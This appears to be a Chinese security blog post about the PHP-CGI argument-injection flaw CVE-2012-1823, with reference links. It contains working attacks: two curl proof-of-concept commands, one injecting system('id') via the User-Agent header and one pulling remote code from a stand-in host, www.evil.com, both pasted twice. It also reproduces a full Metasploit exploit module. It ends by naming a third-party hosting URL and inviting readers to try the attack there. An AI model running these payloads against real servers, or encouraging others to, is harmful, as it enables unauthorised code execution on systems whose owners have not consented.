国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
粗看一下貌似没啥危害,因为php做了防范,在cgi这个sapi下是无法使用-r,-f等直接执行命令的参数的。只有少数几个参数可以使用,因此公告里也就给出了 使用-s参数读取源文件的poc。
另外关于RCE的PoC原文没有给出,不过说明的确可以远程执行代码。那么他是怎么做到的呢?我粗略想了想,可以利用的参数只有一个-d参数了,作用是给php定义一个ini的值。
那么利用它能做什么呢?我给出如下两个RCE的PoC方案:
1、本地包含直接执行代码:
curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n
2、远程包含执行代码:
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt
经过测试以上两者都可以,但其实就是一个包含文件的两种使用而已。
粗看一下貌似没啥危害,因为php做了防范,在cgi这个sapi下是无法使用-r,-f等直接执行命令的参数的。只有少数几个参数可以使用,因此公告里也就给出了 使用-s参数读取源文件的poc。
另外关于RCE的PoC原文没有给出,不过说明的确可以远程执行代码。那么他是怎么做到的呢?我粗略想了想,可以利用的参数只有一个-d参数了,作用是给php定义一个ini的值。
那么利用它能做什么呢?我给出如下两个RCE的PoC方案:
1、本地包含直接执行代码:
curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n
2、远程包含执行代码:
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt
经过测试以上两者都可以,但其实就是一个包含文件的两种使用而已。
各位看看还有什么牛逼的方法可以绕过限制直接远程执行代码呢?这会是一个很好玩的技术挑战。
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
http://ompldr.org/vZGxxaQ
http://zone.wooyun.org/content/151
http://www.php-security.net/archives/9-New-PHP-CGI-exploit-CVE-2012-1823.html
http://www.php-security.net/archives/11-Mitigation-for-CVE-2012-1823-CVE-2012-2311.html
MetaSploit提供了如下测试模块:
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
load 'lib/msf/core/exploit/http/server.rb'
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP CGI Argument Injection',
'Description' => %q{
When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
an argument injection vulnerability. This module takes advantage of
the -d flag to set php.ini directives to achieve code execution.
From the advisory: "if there is NO unescaped ‘=’ in the query string,
the string is split on ‘+’ (encoded space) characters, urldecoded,
passed to a function that escapes shell metacharacters (the “encoded in
a system-defined manner” from the RFC) and then passes them to the CGI
binary."
},
'Author' => [ 'egypt', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' => [
[ "CVE" , "2012-1823" ],
[ "URL" , "http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/" ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
},
'DisclosureDate' => 'May 03 2012',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options([
OptString.new('TARGETURI', [false, "The URI to request"]),
], self.class)
end
# php-cgi -h
# ...
# -s Display colour syntax highlighted source.
def check
uri = target_uri.path
if(uri and ! uri.empty?)
uri.gsub!(/\?.*/, "")
print_status("Checking uri #{uri}")
response = send_request_raw({ 'uri' => uri })
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
return Exploit::CheckCode::Unknown
end
response = send_request_raw({ 'uri' => uri + '?-s'})
if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\<\;\?/mi
return Exploit::CheckCode::Vulnerable
end
print_error("Server responded indicating it was not vulnerable")
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Unknown
end
end
def exploit
#sleep 100
begin
php_trues = [ "1", "on", "true" ]
php_falses = [ "0", "off", "false" ]
args = [
"-d+allow_url_include%3d#{rand_php_ini_true}",
"-d+auto_prepend_file%3dphp://input",
]
qs = args.join("+")
uri = "#{target_uri}?#{qs}"
p uri
# Has to be all on one line, so gsub out the comments and the newlines
payload_oneline = "<?php " +payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
response = send_request_cgi( {
'method' => "POST",
'global' => true,
'uri' => uri,
'data' => payload_oneline,
}, 0.1)
handler
rescue ::Interrupt
raise $!
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
print_error("The target service unreachable")
rescue ::OpenSSL::SSL::SSLError
print_error("The target failed to negotiate SSL, is this really an SSL service?")
end
end
def rand_php_ini_false
[ "0", "off", "false" ].sort_by{rand}.first
end
def rand_php_ini_true
[ "1", "on", "true" ].sort_by{rand}.first
end
end
目前绝大多数虚拟主机提供商都是CGI方式,例如:
http://www.yihengit.com.cn/php.php
,有兴趣可以去试一试